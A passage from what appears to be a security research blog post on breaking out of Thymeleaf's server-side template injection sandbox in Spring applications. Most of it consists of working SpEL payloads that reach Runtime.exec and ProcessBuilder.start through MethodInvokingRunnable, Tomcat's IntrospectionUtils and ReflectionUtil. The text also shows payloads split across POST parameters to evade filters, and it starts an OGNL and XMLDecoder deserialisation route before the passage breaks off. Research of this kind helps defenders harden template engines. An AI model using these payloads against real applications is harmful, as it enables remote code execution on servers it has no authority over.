<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#ctx.getVariable('org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER').</span>
getAsyncWebRequest<span class="o">()</span>.getNativeResponse<span class="o">()</span>.getWriter<span class="o">()</span>
</code></pre></div></div>

<p>It is worth noting that <code class="language-plaintext highlighter-rouge">process</code> would not complain if the passed <code class="language-plaintext highlighter-rouge">Writer</code> is set to <code class="language-plaintext highlighter-rouge">null</code>, and specific paths are designed for such a case. But at one moment, it would fail because another member variable is set based on the existence of <code class="language-plaintext highlighter-rouge">writer</code>, and the absence of this variable (<code class="language-plaintext highlighter-rouge">this.next</code> in <code class="language-plaintext highlighter-rouge">org.thymeleaf.engine.AbstractTemplateHandler</code>) would then raise a <code class="language-plaintext highlighter-rouge">NullPointerException</code>, leading to an error.</p>

<p>Therefore, the payload becomes:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    #ctx.getConfiguration().getTemplateManager().process(
        #ctx.getConfiguration().getTemplateManager().parseString(
            #ctx.getTemplateData(),
            </span><span class="s1">'&lt;p+th:with="x=${T'</span><span class="p">%2b</span><span class="s1">'(java.lang.Runtime)}"&gt;[(${x})]&lt;/p&gt;'</span><span class="p">,
            0,
            0,
            #ctx.getTemplateMode(),
            false),
        #ctx,
        #ctx.getVariable(</span><span class="s1">'org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER'</span><span class="p">).getAsyncWebRequest().getNativeResponse().getWriter()
    )
</span><span class="k">}</span>
</code></pre></div></div>

<p>Sending this as parameter <code class="language-plaintext highlighter-rouge">p</code> would make the application display the following message in its error logs:</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Process error" src="/assets/res/stuff/thymeleaf_ssti/process_error.png" /></p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Process error - 1" src="/assets/res/stuff/thymeleaf_ssti/process_error1.png" /></p>

<p>Seeing such an error is actually good news for us, because it means that the engine complains about the fact that we try to get access to a forbidden class, from within a semi-hardened context. Otherwise, in a strongly hardened one, we would have received the other message stating that instantiation and static functions calls are denied. We then achieved the second breakout !</p>

<h2 id="complete-breakout">Complete breakout</h2>

<p>Now, it is time to combine the two payloads, to leverage the double breakout ! To make things easier, I decided to pass the payload with the <code class="language-plaintext highlighter-rouge">MethodInvokingRunnable</code> as another POST parameter, to avoid bad escape sequences and early filter denial. Dynamically, the injected SSTI will retrieve the second parameter to build the inline template.</p>

<p>First parameter, as <code class="language-plaintext highlighter-rouge">qwertz</code> (URL-encoded, new lines added for readability):</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">qwertz</span><span class="o">=</span><span class="k">${</span><span class="p">
    </span><span class="s1">''</span><span class="p"> %2b #ctx.setVariable(</span><span class="s1">'a'</span><span class="p">,new+org.springframework.scheduling.support.MethodInvokingRunnable()) %2b
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setTargetClass(</span><span class="s1">''</span><span class="p">.class) %2b
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Class.forName'</span><span class="p">) %2b
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).setArguments(</span><span class="s1">'java.lang.Runtime'</span><span class="p">) %2b
    #ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).prepare() %2b 
    #ctx.setVariable(</span><span class="s1">'b'</span><span class="p">,#ctx.getVariable(</span><span class="s1">'a'</span><span class="p">).invoke()) %2b
    #ctx.setVariable(</span><span class="s1">'c'</span><span class="p">,new+org.springframework.scheduling.support.MethodInvokingRunnable()) %2b
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).setTargetClass(#ctx.getVariable(</span><span class="s1">'b'</span><span class="p">)) %2b
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).setStaticMethod(</span><span class="s1">'java.lang.Runtime.getRuntime'</span><span class="p">) %2b
    #ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).prepare() %2b
    #ctx.setVariable(</span><span class="s1">'d'</span><span class="p">,#ctx.getVariable(</span><span class="s1">'c'</span><span class="p">).invoke()) %2b
    #ctx.setVariable(</span><span class="s1">'e'</span><span class="p">,new+org.springframework.scheduling.support.MethodInvokingRunnable()) %2b
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).setTargetObject(#ctx.getVariable(</span><span class="s1">'d'</span><span class="p">)) %2b
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).setTargetMethod(</span><span class="s1">'exec'</span><span class="p">) %2b
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).setArguments(</span><span class="s1">'touch /pwn'</span><span class="p">) %2b
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).prepare() %2b
    #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">).invoke()
</span><span class="k">}</span>
</code></pre></div></div>

<p>And then the <code class="language-plaintext highlighter-rouge">p</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">p</span><span class="o">=</span><span class="k">${</span><span class="p">
    #ctx.getConfiguration().getTemplateManager().process(
        #ctx.getConfiguration().getTemplateManager().parseString(
            #ctx.getTemplateData(),
            </span><span class="s1">'&lt;p+th:with="x='</span><span class="p">%2b#ctx.getVariable(</span><span class="s1">'org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER'</span><span class="p">).getAsyncWebRequest().getNativeRequest().getParameter(</span><span class="s1">'qwertz'</span><span class="p">)%2b</span><span class="s1">'"&gt;[(${x})]&lt;/p&gt;'</span><span class="p">,
            0,
            0,
            #ctx.getTemplateMode(),
            false
        ),
        #ctx,
        #ctx.getVariable(</span><span class="s1">'org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER'</span><span class="p">).getAsyncWebRequest().getNativeResponse().getWriter()
    )
</span><span class="k">}</span>
</code></pre></div></div>

<p>Combining these two payloads then returns a concatenation of <code class="language-plaintext highlighter-rouge">null</code> values, which is intended (returned by the intermediate <code class="language-plaintext highlighter-rouge">setVariable</code>), but now, a file named <code class="language-plaintext highlighter-rouge">pwn</code> should be placed at the root of the filesystem (:</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Complete bypass" src="/assets/res/stuff/thymeleaf_ssti/pwn.png" /></p>

<h2 id="bypassing-spring-boot-web-starter">Bypassing Spring Boot web starter</h2>

<p>Another approach could be used to escape the semi-hardened context, if the application uses the following dependency:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependency&gt;</span>
    <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
    <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-web<span class="nt">&lt;/artifactId&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>

<p>This package gives access to two interesting classes offering reflection capabilities: <code class="language-plaintext highlighter-rouge">org.apache.tomcat.util.IntrospectionUtils</code> and <code class="language-plaintext highlighter-rouge">org.apache.el.util.ReflectionUtil</code>. Both do not belong to the denylist of <code class="language-plaintext highlighter-rouge">ExpressionUtils</code>, and can therefore be used to retrieve references to the <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> class, and turn it into command execution.</p>

<h3 id="invoking-callmethodn">Invoking <code class="language-plaintext highlighter-rouge">callMethodN</code></h3>

<p>The class <a href="https://tomcat.apache.org/tomcat-10.0-doc/api/org/apache/tomcat/util/IntrospectionUtils.html"><code class="language-plaintext highlighter-rouge">IntrospectionUtils</code></a> offers a series of interesting methods, including <code class="language-plaintext highlighter-rouge">callMethodN</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="nc">Object</span> <span class="n">callMethodN</span><span class="err">​</span><span class="o">(</span>
    <span class="nc">Object</span> <span class="n">target</span><span class="o">,</span> <span class="c1">//the subject</span>
    <span class="nc">String</span> <span class="n">methodN</span><span class="o">,</span> <span class="c1">//the method </span>
    <span class="nc">Object</span><span class="o">[]</span> <span class="n">params</span><span class="o">,</span> <span class="c1">//array of params</span>
    <span class="nc">Class</span><span class="o">&lt;?&gt;[]</span> <span class="n">typeParams</span><span class="o">);</span> <span class="c1">//same size, representing the types of the params</span>
</code></pre></div></div>

<p>here, the idea was to leverage <code class="language-plaintext highlighter-rouge">ProcessBuilder.start</code> instead of <code class="language-plaintext highlighter-rouge">Runtime.exec</code>, because there was a catch. Taking  a look at the method code, one can see that introspection is made to retrieve the method based on target’s class:</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="callMethodN" src="/assets/res/stuff/thymeleaf_ssti/callMethodN.png" /></p>

<p>Then, if we want to invoke <code class="language-plaintext highlighter-rouge">Runtime.exec</code>, the first parameter must be an instance of <code class="language-plaintext highlighter-rouge">java.lang.Runtime</code> and not the <code class="language-plaintext highlighter-rouge">Runtime</code> class itself. Indeed, passing <code class="language-plaintext highlighter-rouge">Runtime.class</code> as the first argument would invoke <code class="language-plaintext highlighter-rouge">getClass</code> once again, and therefore look for <code class="language-plaintext highlighter-rouge">Class.getRuntime</code> which obviously does not exist. In other words, this technique is not really suitable for static methods invocation, hence the use of <code class="language-plaintext highlighter-rouge">ProcessBuilder</code>.</p>

<p>The steps where therefore as follows:</p>
<ul>
  <li>retrieve a reference to the <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> class</li>
  <li>from this class, retrieve its constructors</li>
  <li>invoke <code class="language-plaintext highlighter-rouge">newInstance</code> on a constructor to create a <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> instance with the appropriate arguments</li>
  <li>then invoke <code class="language-plaintext highlighter-rouge">start</code> without arguments</li>
</ul>

<p>Let’s see how it works.</p>

<h3 id="step-1---get-a-reference-to-javalangprocessbuilder">Step 1 - Get a reference to <code class="language-plaintext highlighter-rouge">java.lang.ProcessBuilder</code></h3>

<p>From a Java point of view, the goal is to call <code class="language-plaintext highlighter-rouge">Class.forName</code>. As I wrote, static methods works quite bad, but here, I will pass a reference to <code class="language-plaintext highlighter-rouge">String.class</code>, and then <code class="language-plaintext highlighter-rouge">getClass()</code> from <code class="language-plaintext highlighter-rouge">callMethodN</code> will return the class <code class="language-plaintext highlighter-rouge">Class</code>, so it is fine. In Java, it could be something like:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Runtime</span><span class="o">.</span><span class="na">class</span> <span class="o">=</span> <span class="nc">IntrospectionUtils</span><span class="o">.</span><span class="na">callMethodN</span><span class="o">(</span>
    <span class="s">""</span><span class="o">.</span><span class="na">getClass</span><span class="o">(),</span>
    <span class="s">"forName"</span><span class="o">,</span>
    <span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="s">"java.lang.Runtime"</span><span class="o">},</span>
    <span class="k">new</span> <span class="nc">Class</span><span class="o">[]{</span><span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">}</span>
<span class="o">);</span>
</code></pre></div></div>

<p>Within the SSTI payload, it is however quite different: how do we pass array, especially the 4th parameter, the arrays of types, since the sandbox denies the use of the generic type <code class="language-plaintext highlighter-rouge">java.lang.Class</code> ?</p>

<p>Actually, one could leverage here the power of the routine <a href="https://tomcat.apache.org/tomcat-10.0-doc/api/org/apache/el/util/ReflectionUtil.html"><code class="language-plaintext highlighter-rouge">ReflectionUtil.toTypeArray​</code></a>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">static</span> <span class="nc">Class</span><span class="o">&lt;?&gt;[]</span> <span class="n">toTypeArray</span><span class="o">(</span><span class="err">​</span><span class="nc">String</span><span class="o">[]</span> <span class="n">s</span><span class="o">)</span>
</code></pre></div></div>

<p>From an array of String representing the classes, it returns an array of type. For instance:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">toTypeArray</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">[][</span><span class="s">"java.lang.Integer"</span><span class="o">,</span> <span class="s">"java.lang.String"</span><span class="o">])</span> 
</code></pre></div></div>

<p>returns:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Class</span><span class="o">[]</span> <span class="n">types</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]{</span><span class="nc">Integer</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">}</span>
</code></pre></div></div>

<p>So now, the only thing to do is to pass array of <code class="language-plaintext highlighter-rouge">String</code>s !</p>

<p>To keep it quite simple, I used here a small trick with the <code class="language-plaintext highlighter-rouge">split</code> routine to easily create array of strings, and avoid a cumbersome array creation process. The first SSTI payload then becomes:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="nv">T</span><span class="p">(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
    </span><span class="s1">''</span><span class="p">.class,
    </span><span class="s1">'forName'</span><span class="p">,
    </span><span class="s1">'java.lang.ProcessBuilder'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">),
    T(org.apache.el.util.ReflectionUtil).toTypeArray(</span><span class="s1">'java.lang.String'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">))
)</span><span class="k">}</span>
</code></pre></div></div>

<p><em>Note: although there is only one parameter for <code class="language-plaintext highlighter-rouge">Class.forName</code>, the routine <code class="language-plaintext highlighter-rouge">callMethodN</code> expects arrays for the 3rd and 4th argument, hence the quite useless <code class="language-plaintext highlighter-rouge">split</code> invocations</em></p>

<h3 id="retrieve-the-constructors">Retrieve the constructors</h3>

<p>Now, it is time to obtain the list of possible constructors supported by the class <code class="language-plaintext highlighter-rouge">ProcessBuilder</code>. Since <code class="language-plaintext highlighter-rouge">getConstructors</code> come from the class <code class="language-plaintext highlighter-rouge">Class</code>, we can invoke <code class="language-plaintext highlighter-rouge">callMethodN</code> by passing the reference to the class <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> we just obtained.</p>

<p>In this case, <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> supports two constructors:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nf">ProcessBuilder</span><span class="o">(</span><span class="nc">List</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">args</span><span class="o">);</span>
<span class="kd">public</span> <span class="nf">ProcessBuilder</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">);</span>
</code></pre></div></div>

<p><em>I decided to go with the second one, but they can be both used.</em></p>

<p>In Java, the invocation would look like this:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Constructor</span> <span class="n">c</span> <span class="o">=</span> <span class="nc">IntrospectionUtils</span><span class="o">.</span><span class="na">callMethodN</span><span class="o">(</span>
    <span class="nc">ProcessBuilder</span><span class="o">.</span><span class="na">class</span><span class="o">,</span>
    <span class="s">"getConstructors"</span><span class="o">,</span>
    <span class="kc">null</span><span class="o">,</span>
    <span class="kc">null</span>
<span class="o">)[</span><span class="mi">1</span><span class="o">];</span>
</code></pre></div></div>

<p>Within an SSTI payload it would therefore be:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="nv">T</span><span class="p">(org.apache.tomcat.util.IntrospectionUtils).callMethodN( theRuntimeClassRef ,</span><span class="s1">'getConstructors'</span><span class="p">,null,null)[1]</span><span class="k">}</span>
</code></pre></div></div>

<p>By combining it with the payload of the previous step, we obtain:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
        T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
            </span><span class="s1">''</span><span class="p">.class,
            </span><span class="s1">'forName'</span><span class="p">,
            </span><span class="s1">'java.lang.ProcessBuilder'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">),
            T(org.apache.el.util.ReflectionUtil).toTypeArray(</span><span class="s1">'java.lang.String'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">))),
        </span><span class="s1">'getConstructors'</span><span class="p">,
        null,
        null
    )[1]
</span><span class="k">}</span>
</code></pre></div></div>

<h3 id="step-3---invoking-the-constructor">Step 3 - Invoking the constructor</h3>

<p>Once we select the second constructor (the one that takes an array of <code class="language-plaintext highlighter-rouge">String</code>s as argument), we can invoke the routine <a href="https://docs.oracle.com/javase/8/docs/api/java/lang/reflect/Constructor.html#newInstance-java.lang.Object...-"><code class="language-plaintext highlighter-rouge">newInstance</code></a> on it. The latter takes as argument an array of objects, that are actually simply forwarded to the class’s constructor. In other words, we invoke <code class="language-plaintext highlighter-rouge">newInstance</code> how we would normally invoke the <code class="language-plaintext highlighter-rouge">ProcessBuilder</code>’s constructor:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="no">T</span> <span class="nf">newInstance</span><span class="o">(</span><span class="nc">Object</span><span class="o">...</span> <span class="n">initargs</span><span class="o">)</span>
    <span class="kd">throws</span> <span class="nc">InstantiationException</span><span class="o">,</span>
            <span class="nc">IllegalAccessException</span><span class="o">,</span>
            <span class="nc">IllegalArgumentException</span><span class="o">,</span>
            <span class="nc">InvocationTargetException</span>
</code></pre></div></div>

<p>What is trickier here, is that the constructor expects an array of <code class="language-plaintext highlighter-rouge">String</code>s, and then the invocation to <code class="language-plaintext highlighter-rouge">callMethodN</code> should be like this, with an array of <code class="language-plaintext highlighter-rouge">String</code>s embedded in an array of <code class="language-plaintext highlighter-rouge">Object</code>s</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ProcessBuilder</span> <span class="n">p</span> <span class="o">=</span> <span class="n">theConstructor</span><span class="o">.</span><span class="na">newInstance</span><span class="o">(</span>
    <span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span>
        <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span>
            <span class="s">"cmd"</span><span class="o">,</span> <span class="s">"arg1"</span><span class="o">,</span> <span class="o">...</span>
        <span class="o">}</span>
    <span class="o">});</span>

<span class="c1">//then</span>
<span class="nc">ProcessBuilder</span> <span class="n">p</span> <span class="o">=</span> <span class="nc">IntrospectionUtils</span><span class="o">.</span><span class="na">callMethod</span><span class="o">(</span>
    <span class="n">theConstructor</span><span class="o">,</span>
    <span class="s">"newInstance"</span><span class="o">,</span>
    <span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span>
        <span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span>
            <span class="nc">Arrays</span><span class="o">.</span><span class="na">asList</span><span class="o">(</span><span class="s">"cmd"</span><span class="o">,</span> <span class="s">"arg1"</span><span class="o">,</span> <span class="s">"arg2"</span><span class="o">,</span> <span class="o">...)</span>
        <span class="o">}</span>
    <span class="o">},</span>
    <span class="k">new</span> <span class="nc">Class</span><span class="o">[]{</span><span class="nc">Object</span><span class="o">[].</span><span class="na">class</span><span class="o">}</span>
<span class="o">);</span>
</code></pre></div></div>

<p>Quite ugly, but I first created the embedded arrays like this in the SSTI payload, chained with a concatenation operator:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#ctx.setVariable('a', 'mkdir;/pwn'.split(';')) +</span>
<span class="c">#ctx.setVariable('b', new java.util.ArrayList()) + </span>
<span class="c">#ctx.getVariable('b').add(#ctx.getVariable('a')) + </span>
<span class="c">#ctx.setVariable('c', #ctx.getVariable('b').toArray()) + </span>
<span class="c">#ctx.setVariable('d', new java.util.ArrayList()) + </span>
<span class="c">#ctx.getVariable('d').add(#ctx.getVariable('c')) + </span>
<span class="c">#ctx.setVariable('e', #ctx.getVariable('d').toArray())</span>
</code></pre></div></div>

<p>Then, it is possible to pass the variable <code class="language-plaintext highlighter-rouge">e</code> as argument for <code class="language-plaintext highlighter-rouge">callMethodN</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    </span><span class="s1">''</span><span class="p"> + #ctx.setVariable(</span><span class="s1">'a'</span><span class="p">, </span><span class="s1">'mkdir;/pwn'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">)) +
    #ctx.setVariable(</span><span class="s1">'b'</span><span class="p">,new java.util.ArrayList()) + 
    ctx.getVariable(</span><span class="s1">'b'</span><span class="p">).add(#ctx.getVariable(</span><span class="s1">'a'</span><span class="p">)) +
    #ctx.setVariable(</span><span class="s1">'c'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'b'</span><span class="p">).toArray()) + 
    #ctx.setVariable(</span><span class="s1">'d'</span><span class="p">, new java.util.ArrayList()) + 
    #ctx.getVariable(</span><span class="s1">'d'</span><span class="p">).add(#ctx.getVariable(</span><span class="s1">'c'</span><span class="p">)) + 
    #ctx.setVariable(</span><span class="s1">'e'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'d'</span><span class="p">).toArray()) + 
    T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
        T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
            T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
                </span><span class="s1">''</span><span class="p">.class,
                </span><span class="s1">'forName'</span><span class="p">,
                </span><span class="s1">'java.lang.ProcessBuilder'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">),
                T(org.apache.el.util.ReflectionUtil).toTypeArray(</span><span class="s1">'java.lang.String'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">))
            ),
            </span><span class="s1">'getConstructors'</span><span class="p">,
            null,
            null
        )[1],
        </span><span class="s1">'newInstance'</span><span class="p">,
        #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">),
        T(org.apache.el.util.ReflectionUtil).toTypeArray(</span><span class="s1">'java.lang.Object[]'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">))
    )
</span><span class="k">}</span>
</code></pre></div></div>

<h3 id="invoke-start">Invoke <code class="language-plaintext highlighter-rouge">start</code></h3>

<p>Finally, once we obtain a newly created <code class="language-plaintext highlighter-rouge">ProcessBuilder</code> instance, the same process repeats by invoking the <code class="language-plaintext highlighter-rouge">start</code> routine:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    </span><span class="s1">''</span><span class="p">+
    #ctx.setVariable(</span><span class="s1">'a'</span><span class="p">,</span><span class="s1">'mkdir;/pwn'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">)) +
    #ctx.setVariable(</span><span class="s1">'b'</span><span class="p">, new java.util.ArrayList()) +
    #ctx.getVariable(</span><span class="s1">'b'</span><span class="p">).add(#ctx.getVariable(</span><span class="s1">'a'</span><span class="p">)) +
    #ctx.setVariable(</span><span class="s1">'c'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'b'</span><span class="p">).toArray()) +
    #ctx.setVariable(</span><span class="s1">'d'</span><span class="p">,new java.util.ArrayList()) +
    #ctx.getVariable(</span><span class="s1">'d'</span><span class="p">).add(#ctx.getVariable(</span><span class="s1">'c'</span><span class="p">)) +
    #ctx.setVariable(</span><span class="s1">'e'</span><span class="p">, #ctx.getVariable(</span><span class="s1">'d'</span><span class="p">).toArray()) +
    T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
        T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
            T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
                T(org.apache.tomcat.util.IntrospectionUtils).callMethodN(
                    </span><span class="s1">''</span><span class="p">.class,
                    </span><span class="s1">'forName'</span><span class="p">,
                    </span><span class="s1">'java.lang.ProcessBuilder'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">),
                    T(org.apache.el.util.ReflectionUtil).toTypeArray(</span><span class="s1">'java.lang.String'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">))
                ),
                </span><span class="s1">'getConstructors'</span><span class="p">,
                null,
                null
            )[1],
            </span><span class="s1">'newInstance'</span><span class="p">,
            #ctx.getVariable(</span><span class="s1">'e'</span><span class="p">),
            T(org.apache.el.util.ReflectionUtil).toTypeArray(</span><span class="s1">'java.lang.Object[]'</span><span class="p">.split(</span><span class="s1">';'</span><span class="p">))
        ),
        </span><span class="s1">'start'</span><span class="p">,
        null,
        null
    )
</span><span class="k">}</span>
</code></pre></div></div>

<p>And that’s it!</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Rce tomcat" src="/assets/res/stuff/thymeleaf_ssti/rce_tomcat.png" /></p>

<h2 id="bypassing-with-ognl">Bypassing with <code class="language-plaintext highlighter-rouge">ognl</code></h2>

<p><em>Variable expressions</em> in Thymeleaf are written in SpEL (Spring Expression Languages), a version of the <a href="https://commons.apache.org/dormant/commons-ognl/language-guide.html">OGNL</a> language. When Thymeleaf is integrated to Spring Boot with appropriate starter modules, the OGNL support would be discarded, and SpEL used by default instead. However, if Thymeleaf is integrated to the Spring Framework with more manual configuration, then OGNL libraries may also be included. It appears that they also offer some breakout techniques.</p>

<p>Let’s give it a try with the following dependencies:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="nt">&lt;dependency&gt;</span>
            <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
            <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-web<span class="nt">&lt;/artifactId&gt;</span>
        <span class="nt">&lt;/dependency&gt;</span>
        <span class="nt">&lt;dependency&gt;</span>
            <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
            <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-tomcat<span class="nt">&lt;/artifactId&gt;</span>
            <span class="nt">&lt;scope&gt;</span>provided<span class="nt">&lt;/scope&gt;</span>
        <span class="nt">&lt;/dependency&gt;</span>
        <span class="nt">&lt;dependency&gt;</span>
            <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
            <span class="nt">&lt;artifactId&gt;</span>spring-boot-starter-thymeleaf<span class="nt">&lt;/artifactId&gt;</span>
        <span class="nt">&lt;/dependency&gt;</span>
        <span class="nt">&lt;dependency&gt;</span>
            <span class="nt">&lt;groupId&gt;</span>ognl<span class="nt">&lt;/groupId&gt;</span>
            <span class="nt">&lt;artifactId&gt;</span>ognl<span class="nt">&lt;/artifactId&gt;</span>
            <span class="nt">&lt;version&gt;</span>3.4.7<span class="nt">&lt;/version&gt;</span>
        <span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>

<p>It should also be included if Thymeleaf is included like this instead:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependency&gt;</span>
    <span class="nt">&lt;groupId&gt;</span>org.thymeleaf<span class="nt">&lt;/groupId&gt;</span>
    <span class="nt">&lt;artifactId&gt;</span>thymeleaf<span class="nt">&lt;/artifactId&gt;</span>
    <span class="nt">&lt;version&gt;</span>3.1.3.RELEASE<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>

<p>Basically, to invoke <code class="language-plaintext highlighter-rouge">Runtime.getRuntime</code>, one would write such a payload, leveraging the routine <code class="language-plaintext highlighter-rouge">getValue(String expression, Object root)</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">${</span><span class="p">
    T(ognl.Ognl).getValue(</span><span class="s1">'@java.lang.Runtime@getRuntime()'</span><span class="p">, null)
</span><span class="k">}</span>
</code></pre></div></div>

<p>However, an error would be raised, since we are trying to obtain a reference to a forbidden class:</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="OGNL deny 1" src="/assets/res/stuff/thymeleaf_ssti/ognl_deny1.png" /></p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="OGNL deny 2" src="/assets/res/stuff/thymeleaf_ssti/ognl_deny2.png" /></p>

<p>One can see that trying to execute <code class="language-plaintext highlighter-rouge">Runtime.exec</code> or <code class="language-plaintext highlighter-rouge">ProcessBuilder.start</code> would be denied, but the denylist is rather short and quite easy to bypass. I guess that there a numerous ways to achieve code execution, so I decided to pick one of the easiest: creating a <code class="language-plaintext highlighter-rouge">java.beans.XMLDecoder</code> arbitrary object and invoke an unsafe deserialisation (from SSTI to SSTI to unsafe deserialisation to RCE :laughing:)</p>

<p>There is still a little trick here: from within the OGNL expression, we will need to also pass some <code class="language-plaintext highlighter-rouge">String</code>s for the XML stream (we would need it anyway to pass the commands). However, using single quotes would break the main payload, and using double ones would mess with the <code class="language-plaintext highlighter-rouge">th:with</code> attribute. However, we cannot simply escape these symbols, since the SpEL parser would complain about it:</p>

<p><img style="margin-left:auto;margin-right:auto;display:block;" alt="Tokenizer" src="/assets/res/stuff/thymeleaf_ssti/tokenizer.png" /></p>

<p>A possible approach would be to use concatenation of <code class="language-plaintext highlighter-rouge">Character.toString</code> but it would be cumbersome, hence I decided to pass it as another POST parameter. So let’s split the payload:</p>

<p><strong>XML stream to deserialise</strong>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">"1.8.0_102"</span> <span class="na">class=</span><span class="s">"java.beans.XMLDecoder"</span><span class="nt">&gt;</span>
